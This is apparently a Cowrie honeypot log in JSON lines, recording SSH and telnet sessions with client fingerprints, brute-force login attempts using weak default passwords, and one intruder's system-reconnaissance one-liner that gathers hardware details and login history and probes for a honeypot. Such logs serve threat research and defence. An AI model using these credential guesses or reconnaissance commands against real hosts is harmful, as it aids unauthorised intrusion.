{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:57.909481Z","src_ip":"161.35.205.74","session":"a095addec018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw","message":"login attempt [root/qazxsw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:58.263439Z","src_ip":"161.35.205.74","session":"a095addec018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:18:59.345036Z","src_ip":"161.35.205.74","session":"a095addec018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":33326,"dst_ip":"10.17.0.5","dst_port":22,"session":"9526fbf9c503","protocol":"ssh","message":"New connection: 2.57.122.209:33326 (10.17.0.5:22) [session: 9526fbf9c503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:27.931957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:28.277332Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:28.280798Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin12","message":"login attempt [admin/admin12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:31.092543Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:31.910655Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:31.913793Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:31.916974Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:31.920189Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:31.922927Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:31.926789Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:31.929656Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:31.932395Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:31.935498Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:31.939991Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:31.943741Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:32.262554Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:32.550806Z","src_ip":"2.57.122.209","session":"9526fbf9c503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":45866,"dst_ip":"10.17.0.5","dst_port":22,"session":"d93099c41ae9","protocol":"ssh","message":"New connection: 161.35.205.74:45866 (10.17.0.5:22) [session: d93099c41ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:47.661631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:47.664804Z","src_ip":"161.35.205.74","session":"d93099c41ae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:47.749939Z","src_ip":"161.35.205.74","session":"d93099c41ae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root","message":"login attempt [root/Root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:48.123135Z","src_ip":"161.35.205.74","session":"d93099c41ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:49.210380Z","src_ip":"161.35.205.74","session":"d93099c41ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.83126783370972,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:50.683751Z","src_ip":"170.64.224.25","session":"860bc6e035cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.00851535797119,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:55.695529Z","src_ip":"137.184.5.188","session":"1c1aa2e42048","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":49062,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2cdc792266d","protocol":"ssh","message":"New connection: 103.172.78.219:49062 (159.203.135.109:22) [session: f2cdc792266d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:57.419657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:57.423382Z","src_ip":"103.172.78.219","session":"f2cdc792266d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":37770,"dst_ip":"159.203.135.109","dst_port":22,"session":"ead701428d77","protocol":"ssh","message":"New connection: 162.240.75.182:37770 (159.203.135.109:22) [session: ead701428d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:57.617337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:57.621280Z","src_ip":"162.240.75.182","session":"ead701428d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:57.688042Z","src_ip":"103.172.78.219","session":"f2cdc792266d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:57.709799Z","src_ip":"162.240.75.182","session":"ead701428d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"enjin","password":"enjin123","message":"login attempt [enjin/enjin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:57.975835Z","src_ip":"162.240.75.182","session":"ead701428d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210378","message":"login attempt [root/210378] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:58.483068Z","src_ip":"103.172.78.219","session":"f2cdc792266d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:59.748888Z","src_ip":"103.172.78.219","session":"f2cdc792266d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:19:59.945787Z","src_ip":"162.240.75.182","session":"ead701428d77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":44880,"dst_ip":"159.203.135.109","dst_port":22,"session":"fca12e19b604","protocol":"ssh","message":"New connection: 159.65.58.200:44880 (159.203.135.109:22) [session: fca12e19b604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:15.998107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:16.208572Z","src_ip":"159.65.58.200","session":"fca12e19b604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:16.212091Z","src_ip":"159.65.58.200","session":"fca12e19b604","protocol":"ssh"}
